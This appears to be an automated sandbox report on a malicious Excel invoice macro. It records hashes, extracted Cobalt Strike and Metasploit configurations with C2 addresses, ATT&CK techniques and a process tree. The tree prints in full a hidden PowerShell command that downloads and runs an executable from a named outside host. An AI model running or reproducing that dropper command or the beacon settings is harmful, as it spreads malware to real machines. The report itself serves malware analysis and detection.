cobaltstrike | 0e37b2666933d637c97224ff505132118838c2889d1aa3ed385817badd17d1b2

General

Target

Invoice453891.xlsm
Size

86KB
MD5

9ef60e9f0364cfc381fe5c870e9e10f0
SHA1

67173558f554be3acd49292c4614aa5ee81ecfa3
SHA256

0e37b2666933d637c97224ff505132118838c2889d1aa3ed385817badd17d1b2
SHA512

3603ac6e154637d808ec254b5cbb23f97e994538a3a35305ec4ac9b1a0606717a8e4b45e59d8677753e1bacac45b79baa18fee428118b68b23bdc6fde559acf5

Score

10^/10

cobaltstrike metasploit 0 backdoor trojan

Malware Config

Extracted

Family

metasploit

Version

windows/download_exec

C2

http://5.8.18.118:45500/pSXA

Attributes

headers User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko

Extracted

Family

cobaltstrike

Botnet

0

C2

http://5.8.18.118:45500/match

Attributes

access_type
512
host
5.8.18.118,/match
http_header1
AAAABwAAAAAAAAADAAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_header2
AAAACgAAACZDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQAAAAcAAAAAAAAABQAAAAJpZAAAAAcAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_method1
GET
http_method2
POST
polling_time
60000
port_number
45500
sc_process32
%windir%\syswow64\rundll32.exe
sc_process64
%windir%\sysnative\rundll32.exe
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnOM3nXx+7HBhkbDd+AwFrFisSunK999w2tM0uTpuuEiBalcJhcL+QgQWtf6S7zPp5hjImG+2YcPl18geU4f5JlSPXHwilbK4DFb/ePWyKFjhrA7emVRqhM21QMlo1ANsn14rY/RO2pzuft8P7TXoIjjI/B2GGVuzYNZX6X4I2EwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
unknown1
4096
unknown2
AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
uri
/submit.php
user_agent
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENUS)
watermark
0

Signatures

Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
trojan backdoor cobaltstrike
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1184	2576	Cmd.exe	68

Blocklisted process makes network request 1 IoCs

flow	pid	Process
16	4060	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1328	JavaHelpApplication.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2576	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4060	powershell.exe
4060	powershell.exe
4060	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4060	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
2576	EXCEL.EXE
2576	EXCEL.EXE
2576	EXCEL.EXE
2576	EXCEL.EXE
2576	EXCEL.EXE
2576	EXCEL.EXE
2576	EXCEL.EXE
2576	EXCEL.EXE
2576	EXCEL.EXE
2576	EXCEL.EXE
2576	EXCEL.EXE
2576	EXCEL.EXE
2576	EXCEL.EXE
2576	EXCEL.EXE

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2576 wrote to memory of 1184	2576	EXCEL.EXE	76
PID 2576 wrote to memory of 1184	2576	EXCEL.EXE	76
PID 1184 wrote to memory of 4060	1184	Cmd.exe	78
PID 1184 wrote to memory of 4060	1184	Cmd.exe	78
PID 4060 wrote to memory of 1328	4060	powershell.exe	79
PID 4060 wrote to memory of 1328	4060	powershell.exe	79
PID 4060 wrote to memory of 1328	4060	powershell.exe	79

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Invoice453891.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2576
- C:\Windows\SYSTEM32\Cmd.exe
  Cmd /c powershell -nop -w hidden Set-Item Variable:/HBl (New-Object Net.WebClient);SI Variable:6ik 'http://mw.theformangroup.com/yml.xml';Set-Variable 9ul 'C:\ProgramData\JavaHelpApplication.exe';(DIR Variable:\HBl).Value.DownloadFile((LS Variable:6ik).Value,(GV 9ul -Valu));Start-Process 'C:\ProgramData\JavaHelpApplication.exe'
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -w hidden Set-Item Variable:/HBl (New-Object Net.WebClient);SI Variable:6ik 'http://mw.theformangroup.com/yml.xml';Set-Variable 9ul 'C:\ProgramData\JavaHelpApplication.exe';(DIR Variable:\HBl).Value.DownloadFile((LS Variable:6ik).Value,(GV 9ul -Valu));Start-Process 'C:\ProgramData\JavaHelpApplication.exe'
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4060
  - - C:\ProgramData\JavaHelpApplication.exe
      "C:\ProgramData\JavaHelpApplication.exe"
      4⤵
      Executes dropped EXE
      PID:1328

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1328-316-0x00000000033A0000-0x00000000037A0000-memory.dmp

Filesize
4.0MB

Download
memory/1328-317-0x00000000037A0000-0x00000000037DE000-memory.dmp

Filesize
248KB

Download
memory/1328-315-0x0000000002880000-0x0000000002881000-memory.dmp

Filesize
4KB

Download
memory/1328-314-0x0000000000400000-0x0000000000545000-memory.dmp

Filesize
1.3MB

Download
memory/1328-313-0x00000000024B0000-0x00000000024B6000-memory.dmp

Filesize
24KB

Download
memory/1328-312-0x0000000002380000-0x0000000002381000-memory.dmp

Filesize
4KB

Download
memory/2576-123-0x00007FF9BFD90000-0x00007FF9C1C85000-memory.dmp

Filesize
31.0MB

Download
memory/2576-115-0x00007FF9A14A0000-0x00007FF9A14B0000-memory.dmp

Filesize
64KB

Download
memory/2576-339-0x00007FF9A14A0000-0x00007FF9A14B0000-memory.dmp

Filesize
64KB

Download
memory/2576-338-0x00007FF9A14A0000-0x00007FF9A14B0000-memory.dmp

Filesize
64KB

Download
memory/2576-337-0x00007FF9A14A0000-0x00007FF9A14B0000-memory.dmp

Filesize
64KB

Download
memory/2576-336-0x00007FF9A14A0000-0x00007FF9A14B0000-memory.dmp

Filesize
64KB

Download
memory/2576-116-0x00007FF9A14A0000-0x00007FF9A14B0000-memory.dmp

Filesize
64KB

Download
memory/2576-114-0x00007FF6A73E0000-0x00007FF6AA996000-memory.dmp

Filesize
53.7MB

Download
memory/2576-121-0x00007FF9C1D50000-0x00007FF9C2E3E000-memory.dmp

Filesize
16.9MB

Download
memory/2576-122-0x00007FF9A14A0000-0x00007FF9A14B0000-memory.dmp

Filesize
64KB

Download
memory/2576-118-0x00007FF9A14A0000-0x00007FF9A14B0000-memory.dmp

Filesize
64KB

Download
memory/2576-117-0x00007FF9A14A0000-0x00007FF9A14B0000-memory.dmp

Filesize
64KB

Download
memory/4060-286-0x000001D4DF370000-0x000001D4DF371000-memory.dmp

Filesize
4KB

Download
memory/4060-281-0x000001D4DF070000-0x000001D4DF071000-memory.dmp

Filesize
4KB

Download
memory/4060-307-0x000001D4DF136000-0x000001D4DF138000-memory.dmp

Filesize
8KB

Download
memory/4060-292-0x000001D4DF130000-0x000001D4DF132000-memory.dmp

Filesize
8KB

Download
memory/4060-293-0x000001D4DF133000-0x000001D4DF135000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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